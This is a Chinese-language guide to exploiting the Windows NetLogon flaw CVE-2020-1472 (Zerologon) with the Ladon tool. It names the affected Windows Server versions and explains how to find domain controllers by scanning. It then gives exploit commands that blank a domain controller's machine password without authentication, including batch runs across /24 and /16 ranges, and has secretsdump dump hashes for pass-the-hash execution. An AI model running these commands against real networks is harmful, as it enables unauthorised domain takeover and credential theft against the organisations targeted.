漏洞簡述

2020年08月12日， 360CERT監測發現Windows官方 釋出了 NetLogon 特權提升漏洞 的風險通告，該漏洞編號為 CVE-2020-1472，漏洞等級：嚴重，漏洞評分：10分。

攻擊者通過NetLogon（MS-NRPC），建立與域控間易受攻擊的安全通道時，可利用此漏洞獲取域管訪問許可權。成功利用此漏洞的攻擊者可以在該網路中的裝置上執行經特殊設計的應用程式。

影響版本

Windows Server 2008 R2 for x64-based Systems Service Pack 1
Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)
Windows Server 2012
Windows Server 2012 (Server Core installation)
Windows Server 2012 R2
Windows Server 2012 R2 (Server Core installation)
Windows Server 2016
Windows Server 2016 (Server Core installation)
Windows Server 2019
Windows Server 2019 (Server Core installation)
Windows Server, version 1903 (Server Core installation)
Windows Server, version 1909 (Server Core installation)
Windows Server, version 2004 (Server Core installation)
 

模組型別

漏洞利用

模組功能

無需登陸驗證，直接遠端設定域控機器使用者密碼為空值。成功後用secretsdump.py讀取遠端機器HASH即可

域控識別

Ladon內建多個模組均可識別域控,(當然如果你只有當前一個C段，檢視DNS等即可，但跨網段就得LADON了)
非域機器：MS17010、OnlinePC、OsScan等掃描出來的機器名可判斷，密碼爆破模組LdapScan不指定帳密時僅探測LDAP伺服器。
域內機器：Ladon AdiDnsDump IP,當然非域機器能用的模組在域內也是可以用的。

如圖：掃描C段389埠，再通過協議識別是否為LDAP伺服器，單純檢測389埠不準(1.12使用LDAP連線錯誤)

外掛用法

工具用法

python cve-2020-1472-exp.py 192.168.1.8
python cve-2020-1472-exp.py K8gege.org 192.168.1.8

Ladon用法

Usage
Ladon target cve-2020-1472.ini
Example:
Ladon 192.169.1.8 cve-2020-1472.ini
Ladon 192.169.1.8/24 cve-2020-1472.ini
Ladon 192.169.1.8/16 cve-2020-1472.ini

如圖：批量C段

批量IP

目錄下放ip.txt，裡面放入已知ip即可
192.168.1.8
10.23.4.56

Ladon cve-2020-1472.ini

讀取HASH

讀取HASH後就不用我說了吧，WCE、WMI、SMB、PSEXEC等HASH注入執行

工具下載

最新版本：https://k8gege.org/Download
歷史版本: https://github.com/k8gege/Ladon/releases
外掛原始碼：小密圈可下載